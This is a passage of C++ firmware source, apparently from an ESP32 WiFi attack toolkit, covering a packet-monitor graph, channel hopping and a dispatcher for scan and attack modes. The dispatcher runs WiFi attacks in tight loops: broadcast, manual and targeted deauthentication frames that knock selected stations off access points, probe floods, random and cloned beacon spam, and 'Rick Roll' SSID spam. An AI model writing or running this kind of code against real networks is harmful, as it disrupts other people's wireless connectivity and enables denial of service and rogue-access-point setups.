  2660. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2661. //y_pos_y_old = y_pos_y;
  2662. //y_pos_z_old = y_pos_z;
  2663. //delay(50);
  2664. }
  2665. sd_obj.main();
  2666. }
  2667. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2668. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2669. display_obj.tftDrawChannelScaleButtons(set_channel);
  2670. display_obj.tftDrawExitScaleButtons();
  2671. display_obj.tftDrawEapolColorKey();
  2672. display_obj.tftDrawGraphObjects(x_scale);
  2673. }
  2674. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2675. {
  2676. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2677. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2678. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2679. {
  2680. currentTime = millis();
  2681. do_break = false;
  2682. y_pos_x = 0;
  2683. y_pos_y = 0;
  2684. y_pos_z = 0;
  2685. boolean pressed = false;
  2686. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2687. // Do the touch stuff
  2688. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2689. if (pressed) {
  2690. Serial.print("Got touch | X: ");
  2691. Serial.print(t_x);
  2692. Serial.print(" Y: ");
  2693. Serial.println(t_y);
  2694. }
  2695. // Check buttons for presses
  2696. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2697. {
  2698. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2699. {
  2700. display_obj.key[b].press(true);
  2701. } else {
  2702. display_obj.key[b].press(false);
  2703. }
  2704. }
  2705. // Which buttons pressed
  2706. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2707. {
  2708. if (display_obj.key[b].justPressed())
  2709. {
  2710. Serial.println("Bro, key pressed");
  2711. //do_break = true;
  2712. }
  2713. if (display_obj.key[b].justReleased())
  2714. {
  2715. do_break = true;
  2716. // X - button pressed
  2717. if (b == 0) {
  2718. if (x_scale > 1) {
  2719. x_scale--;
  2720. delay(70);
  2721. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2722. display_obj.tftDrawXScaleButtons(x_scale);
  2723. display_obj.tftDrawYScaleButtons(y_scale);
  2724. display_obj.tftDrawChannelScaleButtons(set_channel);
  2725. display_obj.tftDrawExitScaleButtons();
  2726. break;
  2727. }
  2728. }
  2729. // X + button pressed
  2730. else if (b == 1) {
  2731. if (x_scale < 6) {
  2732. x_scale++;
  2733. delay(70);
  2734. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2735. display_obj.tftDrawXScaleButtons(x_scale);
  2736. display_obj.tftDrawYScaleButtons(y_scale);
  2737. display_obj.tftDrawChannelScaleButtons(set_channel);
  2738. display_obj.tftDrawExitScaleButtons();
  2739. break;
  2740. }
  2741. }
  2742. // Y - button pressed
  2743. else if (b == 2) {
  2744. if (y_scale > 1) {
  2745. y_scale--;
  2746. delay(70);
  2747. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2748. display_obj.tftDrawXScaleButtons(x_scale);
  2749. display_obj.tftDrawYScaleButtons(y_scale);
  2750. display_obj.tftDrawChannelScaleButtons(set_channel);
  2751. display_obj.tftDrawExitScaleButtons();
  2752. //updateMidway();
  2753. break;
  2754. }
  2755. }
  2756. // Y + button pressed
  2757. else if (b == 3) {
  2758. if (y_scale < 9) {
  2759. y_scale++;
  2760. delay(70);
  2761. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2762. display_obj.tftDrawXScaleButtons(x_scale);
  2763. display_obj.tftDrawYScaleButtons(y_scale);
  2764. display_obj.tftDrawChannelScaleButtons(set_channel);
  2765. display_obj.tftDrawExitScaleButtons();
  2766. //updateMidway();
  2767. break;
  2768. }
  2769. }
  2770. // Channel - button pressed
  2771. else if (b == 4) {
  2772. if (set_channel > 1) {
  2773. Serial.println("Shit channel down");
  2774. set_channel--;
  2775. delay(70);
  2776. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2777. display_obj.tftDrawXScaleButtons(x_scale);
  2778. display_obj.tftDrawYScaleButtons(y_scale);
  2779. display_obj.tftDrawChannelScaleButtons(set_channel);
  2780. display_obj.tftDrawExitScaleButtons();
  2781. changeChannel();
  2782. break;
  2783. }
  2784. }
  2785. // Channel + button pressed
  2786. else if (b == 5) {
  2787. if (set_channel < MAX_CHANNEL) {
  2788. Serial.println("Shit channel up");
  2789. set_channel++;
  2790. delay(70);
  2791. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2792. display_obj.tftDrawXScaleButtons(x_scale);
  2793. display_obj.tftDrawYScaleButtons(y_scale);
  2794. display_obj.tftDrawChannelScaleButtons(set_channel);
  2795. display_obj.tftDrawExitScaleButtons();
  2796. changeChannel();
  2797. break;
  2798. }
  2799. }
  2800. else if (b == 6) {
  2801. Serial.println("Exiting packet monitor...");
  2802. this->StartScan(WIFI_SCAN_OFF);
  2803. //display_obj.tft.init();
  2804. this->orient_display = true;
  2805. return;
  2806. }
  2807. }
  2808. }
  2809. if (currentTime - initTime >= GRAPH_REFRESH) {
  2810. //Serial.println("-----------------------------------------");
  2811. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2812. x_pos += x_scale;
  2813. initTime = millis();
  2814. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2815. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2816. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2817. //Serial.println("num_beacon: " + (String)num_beacon);
  2818. //Serial.println("num_deauth: " + (String)num_deauth);
  2819. //Serial.println(" num_probe: " + (String)num_probe);
  2820. num_beacon = 0;
  2821. num_probe = 0;
  2822. num_deauth = 0;
  2823. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2824. //Plot "X" value
  2825. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2826. //Plot "Z" value
  2827. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2828. //Plot "Y" value
  2829. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2830. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2831. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2832. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2833. {
  2834. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2835. }
  2836. else
  2837. {
  2838. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2839. }
  2840. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2841. //if (x_pos <= 90)
  2842. if (x_pos < 0) // below x axis
  2843. {
  2844. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2845. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2846. }
  2847. else
  2848. {
  2849. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2850. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2851. }
  2852. //tftDisplayTime();
  2853. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2854. {
  2855. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2856. }
  2857. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2858. y_pos_y_old = y_pos_y;
  2859. y_pos_z_old = y_pos_z;
  2860. //delay(50);
  2861. }
  2862. sd_obj.main();
  2863. }
  2864. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2865. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2866. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2867. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2868. display_obj.tftDrawYScaleButtons(y_scale);
  2869. display_obj.tftDrawChannelScaleButtons(set_channel);
  2870. display_obj.tftDrawExitScaleButtons();
  2871. display_obj.tftDrawColorKey();
  2872. display_obj.tftDrawGraphObjects(x_scale);
  2873. }
  2874. #endif
  2875. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2876. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2877. // showMetadata(snifferPacket, type);
  2878. //}
  2879. void WiFiScan::changeChannel(int chan) {
  2880. this->set_channel = chan;
  2881. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2882. delay(1);
  2883. }
  2884. void WiFiScan::changeChannel()
  2885. {
  2886. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2887. delay(1);
  2888. }
  2889. // Function to cycle to the next channel
  2890. void WiFiScan::channelHop()
  2891. {
  2892. this->set_channel = this->set_channel + 1;
  2893. if (this->set_channel > 13) {
  2894. this->set_channel = 1;
  2895. }
  2896. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2897. delay(1);
  2898. }
  2899. char* WiFiScan::stringToChar(String string) {
  2900. char buf[string.length() + 1] = {};
  2901. string.toCharArray(buf, string.length() + 1);
  2902. return buf;
  2903. }
  2904. // Function for updating scan status
  2905. void WiFiScan::main(uint32_t currentTime)
  2906. {
  2907. // WiFi operations
  2908. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2909. (currentScanMode == WIFI_SCAN_AP) ||
  2910. (currentScanMode == WIFI_SCAN_STATION) ||
  2911. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2912. (currentScanMode == WIFI_SCAN_PWN) ||
  2913. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2914. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2915. (currentScanMode == WIFI_SCAN_ALL))
  2916. {
  2917. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2918. {
  2919. initTime = millis();
  2920. channelHop();
  2921. }
  2922. }
  2923. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2924. {
  2925. #ifdef HAS_SCREEN
  2926. #ifndef MARAUDER_MINI
  2927. packetMonitorMain(currentTime);
  2928. #endif
  2929. #endif
  2930. }
  2931. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2932. {
  2933. #ifdef HAS_SCREEN
  2934. #ifndef MARAUDER_MINI
  2935. eapolMonitorMain(currentTime);
  2936. #endif
  2937. #endif
  2938. }
  2939. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2940. {
  2941. #ifdef HAS_SCREEN
  2942. eapolMonitorMain(currentTime);
  2943. #endif
  2944. }
  2945. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2946. for (int i = 0; i < 55; i++)
  2947. this->sendProbeAttack(currentTime);
  2948. if (currentTime - initTime >= 1000) {
  2949. initTime = millis();
  2950. String displayString = "";
  2951. String displayString2 = "";
  2952. displayString.concat(text18);
  2953. displayString.concat(packets_sent);
  2954. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2955. displayString2.concat(" ");
  2956. #ifdef HAS_SCREEN
  2957. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2958. display_obj.showCenterText(displayString2, 160);
  2959. display_obj.showCenterText(displayString, 160);
  2960. #endif
  2961. packets_sent = 0;
  2962. }
  2963. }
  2964. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2965. for (int i = 0; i < 55; i++)
  2966. this->sendDeauthAttack(currentTime, this->dst_mac);
  2967. if (currentTime - initTime >= 1000) {
  2968. initTime = millis();
  2969. String displayString = "";
  2970. String displayString2 = "";
  2971. displayString.concat(text18);
  2972. displayString.concat(packets_sent);
  2973. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2974. displayString2.concat(" ");
  2975. #ifdef HAS_SCREEN
  2976. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2977. display_obj.showCenterText(displayString2, 160);
  2978. display_obj.showCenterText(displayString, 160);
  2979. #endif
  2980. packets_sent = 0;
  2981. }
  2982. }
  2983. else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
  2984. for (int i = 0; i < 55; i++)
  2985. this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
  2986. if (currentTime - initTime >= 1000) {
  2987. initTime = millis();
  2988. String displayString = "";
  2989. String displayString2 = "";
  2990. displayString.concat(text18);
  2991. displayString.concat(packets_sent);
  2992. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2993. displayString2.concat(" ");
  2994. #ifdef HAS_SCREEN
  2995. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2996. display_obj.showCenterText(displayString2, 160);
  2997. display_obj.showCenterText(displayString, 160);
  2998. #endif
  2999. packets_sent = 0;
  3000. }
  3001. }
  3002. else if (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) {
  3003. // Loop through each AP
  3004. for (int x = 0; x < access_points->size(); x++) {
  3005. // Only get selected APs
  3006. if (access_points->get(x).selected) {
  3007. AccessPoint cur_ap = access_points->get(x);
  3008. // Loop through each AP's Station
  3009. for (int i = 0; i < cur_ap.stations->size(); i++) {
  3010. // Only get selected Stations
  3011. if (stations->get(cur_ap.stations->get(i)).selected) {
  3012. Station cur_sta = stations->get(cur_ap.stations->get(i));
  3013. // Send deauths for each selected AP's selected Station
  3014. for (int y = 0; y < 25; y++)
  3015. this->sendDeauthFrame(cur_ap.bssid, cur_ap.channel, cur_sta.mac);
  3016. // Display packets sent on screen
  3017. if (currentTime - initTime >= 1000) {
  3018. initTime = millis();
  3019. String displayString = "";
  3020. String displayString2 = "";
  3021. displayString.concat(text18);
  3022. displayString.concat(packets_sent);
  3023. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3024. displayString2.concat(" ");
  3025. #ifdef HAS_SCREEN
  3026. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3027. display_obj.showCenterText(displayString2, 160);
  3028. display_obj.showCenterText(displayString, 160);
  3029. #endif
  3030. packets_sent = 0;
  3031. }
  3032. }
  3033. }
  3034. }
  3035. }
  3036. }
  3037. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  3038. // Need this for loop because getTouch causes ~10ms delay
  3039. // which makes beacon spam less effective
  3040. for (int i = 0; i < access_points->size(); i++) {
  3041. if (access_points->get(i).selected)
  3042. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  3043. random(256),
  3044. random(256),
  3045. random(256),
  3046. random(256),
  3047. random(256)}});
  3048. }
  3049. if (currentTime - initTime >= 1000)
  3050. {
  3051. initTime = millis();
  3052. //Serial.print("packets/sec: ");
  3053. //Serial.println(packets_sent);
  3054. String displayString = "";
  3055. String displayString2 = "";
  3056. displayString.concat(text18);
  3057. displayString.concat(packets_sent);
  3058. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3059. displayString2.concat(" ");
  3060. #ifdef HAS_SCREEN
  3061. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3062. display_obj.showCenterText(displayString2, 160);
  3063. display_obj.showCenterText(displayString, 160);
  3064. #endif
  3065. packets_sent = 0;
  3066. }
  3067. }
  3068. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  3069. {
  3070. // Need this for loop because getTouch causes ~10ms delay
  3071. // which makes beacon spam less effective
  3072. for (int i = 0; i < 55; i++)
  3073. broadcastRandomSSID(currentTime);
  3074. if (currentTime - initTime >= 1000)
  3075. {
  3076. initTime = millis();
  3077. //Serial.print("packets/sec: ");
  3078. //Serial.println(packets_sent);
  3079. String displayString = "";
  3080. String displayString2 = "";
  3081. displayString.concat(text18);
  3082. displayString.concat(packets_sent);
  3083. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3084. displayString2.concat(" ");
  3085. #ifdef HAS_SCREEN
  3086. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3087. display_obj.showCenterText(displayString2, 160);
  3088. display_obj.showCenterText(displayString, 160);
  3089. #endif
  3090. packets_sent = 0;
  3091. }
  3092. }
  3093. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  3094. for (int i = 0; i < ssids->size(); i++)
  3095. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  3096. if (currentTime - initTime >= 1000)
  3097. {
  3098. initTime = millis();
  3099. packets_sent = 0;
  3100. }
  3101. }
  3102. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  3103. for (int i = 0; i < access_points->size(); i++) {
  3104. if (access_points->get(i).selected)
  3105. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  3106. }
  3107. if (currentTime - initTime >= 1000) {
  3108. initTime = millis();
  3109. packets_sent = 0;
  3110. }
  3111. }
  3112. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  3113. {
  3114. // Need this for loop because getTouch causes ~10ms delay
  3115. // which makes beacon spam less effective
  3116. for (int i = 0; i < 7; i++)
  3117. {
  3118. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  3119. {
  3120. broadcastSetSSID(currentTime, rick_roll[x]);
  3121. }
  3122. }
  3123. if (currentTime - initTime >= 1000)
  3124. {
  3125. initTime = millis();
  3126. //Serial.print("packets/sec: ");
  3127. //Serial.println(packets_sent);
  3128. String displayString = "";
  3129. String displayString2 = "";
  3130. displayString.concat(text18);
  3131. displayString.concat(packets_sent);
  3132. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3133. displayString2.concat(" ");
  3134. #ifdef HAS_SCREEN
  3135. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3136. display_obj.showCenterText(displayString2, 160);
  3137. display_obj.showCenterText(displayString, 160);
  3138. #endif
  3139. packets_sent = 0;
  3140. }
  3141. }
  3142. }